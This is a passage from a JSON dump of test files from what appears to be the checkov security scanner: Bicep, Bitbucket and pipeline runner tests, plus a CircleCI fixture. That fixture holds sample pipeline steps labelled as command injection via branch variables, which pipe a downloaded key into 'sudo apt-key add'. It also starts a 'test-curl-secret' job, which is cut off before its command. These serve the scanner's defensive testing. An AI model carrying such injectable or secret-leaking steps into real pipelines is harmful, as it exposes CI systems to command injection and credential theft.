\"tzdata\", \"version\": \"2021a-1+deb11u5\", \"licenses\": []}\n    ]\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_container_instance_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"container_instance.bicep\"\n    image_name_1 = \"busybox\"\n    image_name_2 = \"ubuntu:20.04\"\n    code_lines_1 = \"1-29\"\n    code_lines_2 = \"1-29\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    bicep_report = next(report for report in reports if report.check_type == CheckType.BICEP)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(bicep_report.resources) == 0\n    assert len(bicep_report.passed_checks) == 0\n    assert len(bicep_report.failed_checks) == 0\n    assert len(bicep_report.skipped_checks) == 0\n    assert len(bicep_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_web_resources(mocker: MockerFixture, graph_framework):\n    # given\n    file_name = \"web.bicep\"\n    image_name_1 = \"nginx\"\n    image_name_2 = \"python:3.9\"\n    code_lines_1 = \"1-37\"\n    code_lines_2 = \"39-75\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    bicep_report = next(report for report in reports if report.check_type == CheckType.BICEP)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(bicep_report.resources) == 0\n    assert len(bicep_report.passed_checks) == 0\n    assert len(bicep_report.failed_checks) == 0\n    assert len(bicep_report.skipped_checks) == 0\n    assert len(bicep_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 2\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go\",\n        f\"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 6\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n"
  },
  {
    "path": "tests/bicep/test_graph_manager.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.graph_manager import BicepGraphManager\nfrom checkov.bicep.parser import Parser\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\ndef test_build_graph_from_source_directory():\n    # given\n    existing_file = EXAMPLES_DIR / \"existing.bicep\"\n    playground_file = EXAMPLES_DIR / \"playground.bicep\"\n    graph_file = EXAMPLES_DIR / \"graph.bicep\"\n    loop_file = EXAMPLES_DIR / \"loop.bicep\"\n    graph_manager = BicepGraphManager(db_connector=NetworkxConnector())\n\n    # when\n    local_graph, definitions = graph_manager.build_graph_from_source_directory(source_dir=str(EXAMPLES_DIR))\n\n    # then\n    assert set(definitions.keys()) == {existing_file, playground_file, graph_file, loop_file}  # should not include 'malformed.bicep' file\n\n    assert len(local_graph.vertices) == 48\n    assert len(local_graph.edges) == 47\n\n    storage_account_idx = local_graph.vertices_by_name[\"diagsAccount\"]  # vertices_by_name exists for BicepGraphManager\n    storage_account = local_graph.vertices[storage_account_idx]\n\n    assert storage_account.block_type == BlockType.RESOURCE\n    assert storage_account.id == \"Microsoft.Storage/storageAccounts.diagsAccount\"\n    assert storage_account.source == \"Bicep\"\n    assert storage_account.config == {\n        \"decorators\": [],\n        \"type\": \"Microsoft.Storage/storageAccounts\",\n        \"api_version\": \"2019-06-01\",\n        \"existing\": False,\n        \"config\": {\n            \"name\": \"diags${uniqueString(resourceGroup().id)}\",\n            \"location\": {\n                \"function\": {\n                    \"type\": \"resource_group\",\n                    \"parameters\": {\"resource_group_name\": None, \"subscription_id\": None},\n                    \"property_name\": \"location\",\n                }\n            },\n            \"sku\": {\"name\": \"Standard_LRS\"},\n            \"kind\": \"StorageV2\",\n        },\n        \"__start_line__\": 84,\n        \"__end_line__\": 92,\n    }\n\n\ndef test_build_graph_from_definitions():\n    # given\n    test_file = EXAMPLES_DIR / \"playground.bicep\"\n    graph_manager = BicepGraphManager(db_connector=NetworkxConnector())\n    template, _ = Parser().parse(test_file)\n\n    # when\n    local_graph = graph_manager.build_graph_from_definitions(definitions={test_file: template})\n\n    # then\n    assert len(local_graph.vertices) == 24\n    assert len(local_graph.edges) == 33\n\n    storage_account_idx = local_graph.vertices_by_name[\"diagsAccount\"]  # vertices_by_name exists for BicepGraphManager\n    storage_account = local_graph.vertices[storage_account_idx]\n\n    assert storage_account.block_type == BlockType.RESOURCE\n    assert storage_account.id == \"Microsoft.Storage/storageAccounts.diagsAccount\"\n    assert storage_account.source == \"Bicep\"\n    assert storage_account.config == {\n        \"decorators\": [],\n        \"type\": \"Microsoft.Storage/storageAccounts\",\n        \"api_version\": \"2019-06-01\",\n        \"existing\": False,\n        \"config\": {\n            \"name\": \"diags${uniqueString(resourceGroup().id)}\",\n            \"location\": {\n                \"function\": {\n                    \"type\": \"resource_group\",\n                    \"parameters\": {\"resource_group_name\": None, \"subscription_id\": None},\n                    \"property_name\": \"location\",\n                }\n            },\n            \"sku\": {\"name\": \"Standard_LRS\"},\n            \"kind\": \"StorageV2\",\n        },\n        \"__start_line__\": 84,\n        \"__end_line__\": 92,\n    }\n"
  },
  {
    "path": "tests/bicep/test_parser.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.parser import Parser\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\ndef test_parse():\n    # given\n    test_file = EXAMPLES_DIR / \"playground.bicep\"\n\n    # when\n    template, file_lines = Parser().parse(test_file)\n\n    # then\n    assert template is not None\n    assert file_lines is not None\n\n    assert len(template[\"parameters\"]) == 5\n    assert len(template[\"variables\"]) == 10\n    assert len(template[\"resources\"]) == 8\n\n    assert len(file_lines) == 204\n\n\ndef test_parse_malformed_file():\n    # given\n    test_file = EXAMPLES_DIR / \"malformed.bicep\"\n\n    # when\n    template, file_lines = Parser().parse(test_file)\n\n    # then\n    assert template is None\n    assert file_lines is None\n"
  },
  {
    "path": "tests/bicep/test_runner.py",
    "content": "from pathlib import Path\n\nimport pytest\n\nfrom checkov.bicep.runner import Runner\nfrom checkov.arm.runner import Runner as ArmRunner\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.bicep.checks.resource.registry import registry as resource_registry\nfrom checkov.bicep.checks.param.registry import registry as param_registry\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\n\n@pytest.fixture(autouse=True)\ndef load_arm_checks():\n    # just initialize to add the ARM checks to the Bicep registry\n    ArmRunner()\n\n\ndef test_registry_has_type():\n    assert resource_registry.report_type == CheckType.BICEP\n    assert param_registry.report_type == CheckType.BICEP\n\n\ndef test_arm_checks_laoded():\n    # when\n    resource_registry = Runner.block_type_registries[\"resources\"]\n\n    # then\n    assert len(resource_registry.checks) > 30\n\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector\n    ]\n)\ndef test_runner_passing_check(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"playground.bicep\"\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_AZURE_3\"]))\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector\n    ]\n)\ndef test_runner_failing_check(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"playground.bicep\"\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_AZURE_9\"]))\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector\n    ]\n)\ndef test_runner_skipping_check(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"playground.bicep\"\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_AZURE_35\"]))\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 1\n    assert summary[\"parsing_errors\"] == 0\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector\n    ]\n)\ndef test_runner_honors_enforcement_rules(graph_connector):\n    # given\n    test_files = list(map(lambda f: str(f), [EXAMPLES_DIR / \"playground.bicep\", EXAMPLES_DIR / \"graph.bicep\"]))\n\n    # when\n    filter = RunnerFilter(framework=['bicep'], use_enforcement_rules=True)\n    # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n    # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n    filter.enforcement_rule_configs = {CheckType.BICEP: Severities[BcSeverities.OFF]}\n    report = Runner(db_connector=graph_connector()).run(root_folder=\"\", files=test_files, runner_filter=filter)\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector\n    ]\n)\ndef test_runner_parsing_errors(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"malformed.bicep\"\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_AZURE_35\"]))\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 1\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector\n    ]\n)\ndef test_runner_ignore_existing_resource(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"existing.bicep\"\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_AZURE_35\"]))\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n    assert summary[\"resource_count\"] == 2  # 1 should be unknown\n\n    assert report.failed_checks[0].resource == \"Microsoft.Storage/storageAccounts.storageAccount\"\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector\n    ]\n)\ndef test_runner_extra_resources(graph_connector):\n    # given\n    test_file = EXAMPLES_DIR / \"playground.bicep\"\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_AZURE_3\"]))\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 1\n\n    assert len(report.extra_resources) == 7\n    extra_resource = next(\n        resource for resource in report.extra_resources if resource.resource == \"Microsoft.Compute/virtualMachines.vm\"\n    )\n    assert extra_resource.file_abs_path == str(test_file)\n    assert extra_resource.file_path.endswith(\"playground.bicep\")\n\n\ndef test_runner_loop_resource():\n    # given\n    test_file = EXAMPLES_DIR / \"loop.bicep\"\n\n    # when\n    report = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=RunnerFilter(checks=[\"CKV_AZURE_2\"]))\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n"
  },
  {
    "path": "tests/bicep/test_utils.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.utils import get_scannable_file_paths\n\n\ndef test_get_scannable_file_paths(tmp_path: Path):\n    # given\n    (tmp_path / \"storage.json\").touch()\n    (tmp_path / \"storage.bicep\").touch()\n\n    (tmp_path / \".bicep\").mkdir()\n    (tmp_path / \".bicep/main.bicep\").touch()\n\n    # when\n    file_paths = get_scannable_file_paths(root_folder=tmp_path)\n\n    # then\n    assert file_paths == {\n        tmp_path / \"storage.bicep\",\n        tmp_path / \".bicep/main.bicep\",\n    }\n"
  },
  {
    "path": "tests/bitbucket/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bitbucket/resources/bitbucket_conf/fail/branch_restrictions.json",
    "content": "{\n  \"pagelen\": 10,\n  \"values\": [\n    {\n      \"kind\": \"require_default_reviewer_approvals_to_merge\",\n      \"users\": [],\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26522110\"\n        }\n      },\n      \"pattern\": \"master\",\n      \"value\": 1,\n      \"branch_match_kind\": \"glob\",\n      \"groups\": [],\n      \"type\": \"branchrestriction\",\n      \"id\": 26522110\n    },\n    {\n      \"kind\": \"require_approvals_to_merge\",\n      \"users\": [],\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520791\"\n        }\n      },\n      \"pattern\": \"master\",\n      \"value\": 1,\n      \"branch_match_kind\": \"glob\",\n      \"groups\": [],\n      \"type\": \"branchrestriction\",\n      \"id\": 26520791\n    },\n    {\n      \"kind\": \"force\",\n      \"users\": [],\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520790\"\n        }\n      },\n      \"pattern\": \"master\",\n      \"value\": null,\n      \"branch_match_kind\": \"glob\",\n      \"groups\": [],\n      \"type\": \"branchrestriction\",\n      \"id\": 26520790\n    },\n    {\n      \"kind\": \"delete\",\n      \"users\": [],\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520789\"\n        }\n      },\n      \"pattern\": \"master\",\n      \"value\": null,\n      \"branch_match_kind\": \"glob\",\n      \"groups\": [],\n      \"type\": \"branchrestriction\",\n      \"id\": 26520789\n    }\n  ],\n  \"page\": 1,\n  \"size\": 4\n}"
  },
  {
    "path": "tests/bitbucket/resources/bitbucket_conf/pass/branch_restrictions.json",
    "content": "{\n  \"pagelen\": 10,\n  \"values\": [\n    {\n      \"kind\": \"require_default_reviewer_approvals_to_merge\",\n      \"users\": [],\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26522110\"\n        }\n      },\n      \"pattern\": \"master\",\n      \"value\": 1,\n      \"branch_match_kind\": \"glob\",\n      \"groups\": [],\n      \"type\": \"branchrestriction\",\n      \"id\": 26522110\n    },\n    {\n      \"kind\": \"require_approvals_to_merge\",\n      \"users\": [],\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520791\"\n        }\n      },\n      \"pattern\": \"master\",\n      \"value\": 3,\n      \"branch_match_kind\": \"glob\",\n      \"groups\": [],\n      \"type\": \"branchrestriction\",\n      \"id\": 26520791\n    },\n    {\n      \"kind\": \"force\",\n      \"users\": [],\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520790\"\n        }\n      },\n      \"pattern\": \"master\",\n      \"value\": null,\n      \"branch_match_kind\": \"glob\",\n      \"groups\": [],\n      \"type\": \"branchrestriction\",\n      \"id\": 26520790\n    },\n    {\n      \"kind\": \"delete\",\n      \"users\": [],\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520789\"\n        }\n      },\n      \"pattern\": \"master\",\n      \"value\": null,\n      \"branch_match_kind\": \"glob\",\n      \"groups\": [],\n      \"type\": \"branchrestriction\",\n      \"id\": 26520789\n    }\n  ],\n  \"page\": 1,\n  \"size\": 4\n}"
  },
  {
    "path": "tests/bitbucket/test_runner.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom checkov.bitbucket.runner import Runner\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.bitbucket.registry import registry\n\n\nclass TestRunnerValid(unittest.TestCase):\n\n    def test_registry_has_type(self):\n        self.assertEqual(registry.report_type, CheckType.BITBUCKET_CONFIGURATION)\n\n    @mock.patch.dict(os.environ, {\"CKV_BITBUCKET_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\",\n                                  \"BITBUCKET_REPO_FULL_NAME\": \"shaharsamira/terragoat2\"}, clear=True)\n    def test_runner_object_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"bitbucket_conf\", \"fail\")\n        runner = Runner()\n        runner.bitbucket.bitbucket_conf_dir_path = valid_dir_path\n\n        checks = [\"CKV_BITBUCKET_1\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(report.skipped_checks, [])\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"bitbucket_conf\", \"fail\")\n        runner = Runner()\n        filter = RunnerFilter(framework=['bitbucket_configuration'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.BITBUCKET_CONFIGURATION: Severities[BcSeverities.OFF]}\n        runner.bitbucket.bitbucket_conf_dir_path = valid_dir_path\n\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=filter\n        )\n        summary = report.get_summary()\n\n        assert summary[\"passed\"] == 0\n        assert summary[\"failed\"] == 0\n        assert summary[\"skipped\"] == 0\n        assert summary[\"parsing_errors\"] == 0\n\n    @mock.patch.dict(os.environ, {\"CKV_BITBUCKET_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\"}, clear=True)\n    def test_runner_object_passing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"bitbucket_conf\", \"pass\")\n        runner = Runner()\n        runner.bitbucket.bitbucket_conf_dir_path = valid_dir_path\n\n        checks = [\"CKV_BITBUCKET_1\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 1)\n        self.assertEqual(report.skipped_checks, [])\n\n    @mock.patch.dict(os.environ, {\"CKV_BITBUCKET_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\"}, clear=True)\n    def test_runner_files_ignore(self):\n        # given\n        test_file = Path(__file__).parent / \"resources/bitbucket_conf/pass/branch_restrictions.json\"\n        checks = [\"CKV_BITBUCKET_1\"]\n\n        # when\n        report = Runner().run(\n            files=[str(test_file)],\n            runner_filter=RunnerFilter(checks=checks)\n        )\n\n        # then\n        # even it points to a file with scannable content, it should skip it\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/bitbucket_pipelines/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bitbucket_pipelines/resources/bitbucket-pipelines.yml",
    "content": "image: node:10.15.0\n\npipelines:\n  default:\n    - step:\n        name: Build and test\n        image: node:10.0.0\n        script:\n          - npm install\n          - npm test\n          - npm run build\n        artifacts:\n          - dist/**\n    - step:\n        name: Deploy\n        image: python:3.7.2\n        trigger: manual\n        script:\n          - python deploy.py\n  custom:\n    sonar:\n      - step:\n          image: python:latest\n          script:\n            - echo \"Manual triggers for Sonar are awesome!\"\n    deployment-to-prod:\n      - step:\n          script:\n            - echo \"Manual triggers for deployments are awesome!\"\n  branches:\n    staging:\n      - step:\n          script:\n            - echo \"Auto pipelines are cool too.\""
  },
  {
    "path": "tests/bitbucket_pipelines/test_runner.py",
    "content": "import os\nimport unittest\n\nfrom checkov.bitbucket_pipelines.runner import Runner\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.bitbucket_pipelines.registry import registry\n\n\nclass TestRunnerValid(unittest.TestCase):\n\n    def test_registry_has_type(self):\n        self.assertEqual(registry.report_type, CheckType.BITBUCKET_PIPELINES)\n\n    def test_runner(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\")\n        runner = Runner()\n        checks = [\"CKV_BITBUCKETPIPELINES_1\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(framework=['bitbucket_pipelines'], checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 3)\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\")\n        runner = Runner()\n        filter = RunnerFilter(framework=['bitbucket_pipelines'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.BITBUCKET_PIPELINES: Severities[BcSeverities.OFF]}\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=filter\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        report.print_console()\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/circleci_pipelines/__init__.py",
    "content": ""
  },
  {
    "path": "tests/circleci_pipelines/conftest.py",
    "content": "from __future__ import annotations\nimport pytest\n\nfrom checkov.common.images.image_referencer import Image\n\n\n@pytest.fixture\ndef file_path() -> str:\n    return \".circleci/config.yml\"\n\n\n@pytest.fixture\ndef definition(file_path) -> dict:\n    return {\n            file_path: {\n              \"orbs\": {\n                \"new-orb\": \"whatever/orbname@goodorb\",\n                \"some-orb\": \"orbs/orbname@dev:blah\",\n                \"__startline__\": 3,\n                \"__endline__\": 6\n              },\n              \"executors\": {\n                \"image-executor\": {\n                  \"docker\": [\n                    {\n                      \"image\": \"mongo:2.6.8\",\n                      \"__startline__\": 9,\n                      \"__endline__\": 11\n                    }\n                  ],\n                  \"__startline__\": 8,\n                  \"__endline__\": 11\n                },\n                \"__startline__\": 7,\n                \"__endline__\": 11\n              },\n              \"jobs\": {\n                \"test-docker-hash-img\": {\n                  \"docker\": [\n                    {\n                      \"image\": \"redis@sha256:54057dd7e125ca41afe526a877e8bd35ec2cdd33b9217e022ed37bdcf7d09673\",\n                      \"__startline__\": 15,\n                      \"__endline__\": 16\n                    },\n                    {\n                      \"auth\": {\n                        \"password\": \"$DOCKERHUB_PASSWORD\",\n                        \"username\": \"mydockerhub-user\",\n                        \"__startline__\": 18,\n                        \"__endline__\": 20\n                      },\n                      \"__startline__\": 17,\n                      \"__endline__\": 20\n                    }\n                  ],\n                  \"__startline__\": 13,\n                  \"__endline__\": 20\n                },\n                \"test-docker-latest-img\": {\n                  \"docker\": [\n                    {\n                      \"image\": \"buildpack-deps:latest\",\n                      \"__startline__\": 23,\n                      \"__endline__\": 24\n                    },\n                    {\n                      \"auth\": {\n                        \"password\": \"$DOCKERHUB_PASSWORD\",\n                        \"username\": \"mydockerhub-user\",\n                        \"__startline__\": 26,\n                        \"__endline__\": 28\n                      },\n                      \"command\": [\n                        \"--smallfiles\"\n                      ],\n                      \"__startline__\": 25,\n                      \"__endline__\": 30\n                    }\n                  ],\n                  \"__startline__\": 21,\n                  \"__endline__\": 30\n                },\n                \"test-docker-versioned-img\": {\n                  \"docker\": [\n                    {\n                      \"image\": \"mongo:2.6.8\",\n                      \"__startline__\": 33,\n                      \"__endline__\": 34\n                    },\n                    {\n                      \"auth\": {\n                        \"password\": \"$DOCKERHUB_PASSWORD\",\n                        \"username\": \"mydockerhub-user\",\n                        \"__startline__\": 36,\n                        \"__endline__\": 38\n                      },\n                      \"environment\": {\n                        \"POSTGRES_USER\": \"user\",\n                        \"__startline__\": 39,\n                        \"__endline__\": 40\n                      },\n                      \"image\": \"postgres:14.2\",\n                      \"__startline__\": 35,\n                      \"__endline__\": 41\n                    }\n                  ],\n                  \"__startline__\": 31,\n                  \"__endline__\": 41\n                },\n                \"test-echo\": {\n                  \"docker\": [\n                    {\n                      \"image\": \"cimg/python:latest\",\n                      \"__startline__\": 44,\n                      \"__endline__\": 45\n                    }\n                  ],\n                  \"steps\": [\n                    \"checkout\",\n                    {\n                      \"run\": \"echo \\\"this is an echo in a script.\\\"\",\n                      \"__startline__\": 48,\n                      \"__endline__\": 49\n                    }\n                  ],\n                  \"__startline__\": 42,\n                  \"__endline__\": 49\n                },\n                \"test-inject\": {\n                  \"docker\": [\n                    {\n                      \"image\": \"cimg/python:latest\",\n                      \"__startline__\": 52,\n                      \"__endline__\": 53\n                    }\n                  ],\n                  \"steps\": [\n                    \"checkout\",\n                    {\n                      \"run\": {\n                        \"command\": \"curl -sSJL https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add -\\necho ${CIRCLE_BRANCH}\\n\",\n                        \"name\": \"Multi-line run with injection via vars\",\n                        \"__startline__\": 56,\n                        \"__endline__\": 60\n                      },\n                      \"__startline__\": 55,\n                      \"__endline__\": 60\n                    }\n                  ],\n                  \"__startline__\": 50,\n                  \"__endline__\": 60\n                },\n                \"test-inject2\": {\n                  \"docker\": [\n                    {\n                      \"image\": \"cimg/python:latest\",\n                      \"__startline__\": 63,\n                      \"__endline__\": 64\n                    }\n                  ],\n                  \"steps\": [\n                    \"checkout\",\n                    {\n                      \"run\": {\n                        \"command\": \"curl -sSJL https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add -\\necho $CIRCLE_BRANCH\\n\",\n                        \"name\": \"Multi-line run with injection via vars\",\n                        \"__startline__\": 68,\n                        \"__endline__\": 72\n                      },\n                      \"__startline__\": 67,\n                      \"__endline__\": 72\n                    }\n                  ],\n                  \"__startline__\": 61,\n                  \"__endline__\": 72\n                },\n                \"test-curl-secret\": {\n                  \"docker\": [\n                    {\n                      \"image\": \"cimg/python:latest\",\n                      \"__startline__\": 75,\n                      \"__endline__\": 76\n                    }\n                  ],\n                  \"steps\": [\n                    